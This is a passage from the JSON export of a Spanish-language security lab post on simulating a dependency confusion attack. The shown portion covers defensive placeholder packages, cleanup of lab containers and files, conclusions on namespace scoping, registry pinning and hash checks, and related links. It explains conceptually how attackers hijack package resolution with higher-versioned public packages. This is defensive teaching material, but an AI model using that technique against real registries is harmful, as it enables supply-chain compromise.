posici\u00f3n asegura que si alguien instala el <code>auth-utils<\/code> sin \u00e1mbito desde el registro p\u00fablico, obtendr\u00e1 su marcador de posici\u00f3n inofensivo (en la versi\u00f3n <code>0.0.1<\/code>) en lugar del paquete malicioso de un atacante.<\/p>\n<h3>Consideraciones Importantes<\/h3>\n<ul>\n<li><strong>Mantener la propiedad:<\/strong> Aseg\u00farese de que la cuenta npm de su organizaci\u00f3n publique y sea propietaria del marcador de posici\u00f3n. Use las funciones de organizaci\u00f3n y equipo de npm para el acceso de m\u00faltiples personas.<\/li>\n<li><strong>Techo de versi\u00f3n:<\/strong> Mantenga el marcador de posici\u00f3n en <code>0.0.1<\/code>. Su registro interno tiene las versiones reales.<\/li>\n<li><strong>Automatizar el inventario:<\/strong> Cree scripts para el proceso de extraer todos los nombres de paquetes privados de su registro y compararlos con los registros p\u00fablicos. Marque cualquier nombre que no est\u00e9 reclamado en los registros p\u00fablicos.<\/li>\n<li><strong>Combinar con el \u00e1mbito:<\/strong> El registro defensivo es una medida de cintur\u00f3n y tirantes. La defensa principal deber\u00eda seguir siendo el \u00e1mbito de espacio de nombres y la fijaci\u00f3n de registro.<\/li>\n<\/ul>\n<h2>Limpieza<\/h2>\n<p>Despu\u00e9s de completar el laboratorio, elimine todos los contenedores, archivos y configuraciones:<\/p>\n<pre><code># Detener y eliminar contenedores Docker\ndocker stop private-registry public-registry pypi-private pypi-public\ndocker rm private-registry public-registry pypi-private pypi-public\n\n# Eliminar el directorio del laboratorio\nrm -rf ~\/dep-confusion-lab\n\n# Desactivar el entorno virtual de Python (si est\u00e1 activo)\ndeactivate\n\n# Eliminar cualquier cambio de .npmrc que haya hecho en su directorio home\n# (Solo si modific\u00f3 ~\/.npmrc para este laboratorio)\n# Restaure su .npmrc original si hizo una copia de seguridad<\/code><\/pre>\n<p><strong>Importante:<\/strong> Verifique que no queden modificaciones de <code>.npmrc<\/code> o <code>pip.conf<\/code> que apunten a registros de <code>localhost<\/code>. Estas podr\u00edan causar errores confusos en sus proyectos reales.<\/p>\n<h2>Conclusiones Clave<\/h2>\n<ul>\n<li><strong>La confusi\u00f3n de dependencias explota la ambig\u00fcedad del espacio de nombres:<\/strong> Cuando los registros privados y p\u00fablicos comparten un espacio de nombres plano, un atacante puede secuestrar la resoluci\u00f3n de paquetes publicando un paquete con una versi\u00f3n superior en el registro p\u00fablico.<\/li>\n<li><strong>El \u00e1mbito de espacio de nombres es la defensa m\u00e1s fuerte para npm:<\/strong> Los paquetes con \u00e1mbito (<code>@yourorg\/package-name<\/code>) est\u00e1n vinculados a un registro espec\u00edfico y no pueden ser secuestrados a trav\u00e9s de un fallback de registro p\u00fablico.<\/li>\n<li><strong>La fijaci\u00f3n de registro elimina el riesgo de fallback para pip:<\/strong> Usar <code>--index-url<\/code> sin <code>--extra-index-url<\/code> asegura que pip solo consulte su registro privado de confianza.<\/li>\n<li><strong>La verificaci\u00f3n de hash proporciona garant\u00edas criptogr\u00e1ficas:<\/strong> Tanto <code>npm ci<\/code> con verificaciones de integridad del lockfile como <code>--require-hashes<\/code> de pip rechazan cualquier artefacto que no coincida con el hash esperado, independientemente del n\u00famero de versi\u00f3n.<\/li>\n<li><strong>La disciplina del lockfile es esencial en CI\/CD:<\/strong> Siempre use <code>npm ci<\/code> (no <code>npm install<\/code>) en los pipelines, y agregue verificaciones automatizadas para detectar modificaciones inesperadas del lockfile.<\/li>\n<li><strong>El registro defensivo es una medida suplementaria pr\u00e1ctica:<\/strong> Reclamar los nombres de sus paquetes internos en registros p\u00fablicos evita que los atacantes los ocupen, ganando tiempo para que su equipo implemente defensas estructurales m\u00e1s fuertes.<\/li>\n<\/ul>\n<h2>Pr\u00f3ximos Pasos<\/h2>\n<p>Ahora que tiene experiencia pr\u00e1ctica con ataques y defensas de confusi\u00f3n de dependencias, contin\u00fae su aprendizaje con estas gu\u00edas detalladas:<\/p>\n<ul>\n<li><a href=\"https:\/\/secure-pipelines.com\/es\/?p=645\">Confusi\u00f3n de Dependencias y Envenenamiento de Artefactos<\/a> \u2014 Una gu\u00eda completa que cubre la teor\u00eda, incidentes del mundo real y defensas de nivel empresarial contra la confusi\u00f3n de dependencias y ataques relacionados de envenenamiento de artefactos.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/es\/?p=646\">Integridad de Compilaci\u00f3n y Compilaciones Reproducibles<\/a> \u2014 Aprenda c\u00f3mo asegurar que su pipeline de CI\/CD produzca artefactos de compilaci\u00f3n verificables y a prueba de manipulaciones utilizando compilaciones reproducibles, procedencia SLSA y atestaci\u00f3n de la cadena de suministro.<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Descripci\u00f3n General La confusi\u00f3n de dependencias es un ataque a la cadena de suministro que explota la forma en que los gestores de paquetes resuelven los nombres de paquetes cuando se configuran tanto registros privados (internos) como p\u00fablicos. Cuando un atacante publica un paquete malicioso en un registro p\u00fablico usando el mismo nombre que un &#8230; <a title=\"Lab: Simulaci\u00f3n de un Ataque de Confusi\u00f3n de Dependencias en un Entorno Sandbox\" class=\"read-more\" href=\"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/lab-simulating-dependency-confusion-attack-sandbox-2\/\" aria-label=\"Leer m\u00e1s sobre Lab: Simulaci\u00f3n de un Ataque de Confusi\u00f3n de Dependencias en un Entorno Sandbox\">Leer m\u00e1s<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[55,60],"tags":[],"post_folder":[],"class_list":["post-666","post","type-post","status-publish","format-standard","hentry","category-ci-cd-security","category-threats-attacks"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts\/666","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/comments?post=666"}],"version-history":[{"count":3,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts\/666\/revisions"}],"predecessor-version":[{"id":682,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts\/666\/revisions\/682"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/media?parent=666"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/categories?post=666"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/tags?post=666"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/post_folder?post=666"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}